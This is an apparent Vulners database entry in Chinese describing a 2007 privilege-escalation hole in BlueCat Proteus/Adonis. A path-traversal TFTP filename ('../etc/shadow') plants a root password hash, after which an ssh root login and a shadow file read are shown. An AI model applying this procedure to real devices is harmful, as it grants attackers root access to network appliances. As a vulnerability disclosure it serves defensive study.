BlueCat Networks Proteus TFTP文件远程权限提升漏洞
1) 在Proteus配置中创建新的TFTP组
2) 添加TFTP部署角色，指定Adonis设备到组中
3) 在新TFTP组的顶级文件夹，添加名为../etc/shadow的文件并加载包含有以下行的文件：
root:Im0Zgl8tnEq9Y:13637:0:99999:7:::
4) 向Adonis设备部署配置
5) 现在可以口令bluecat以root权限登录到Adonis设备：
$ ssh [email protected]
[email protected]'s password:
# cat /etc/shadow
root:Im0Zgl8tnEq9Y:13637:0:99999:7:::
注释：这个示例假设启用了SSH，iptable允许TCP/22端口。
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2007 00:00Current
6.9Medium risk
Vulners AI Score6.9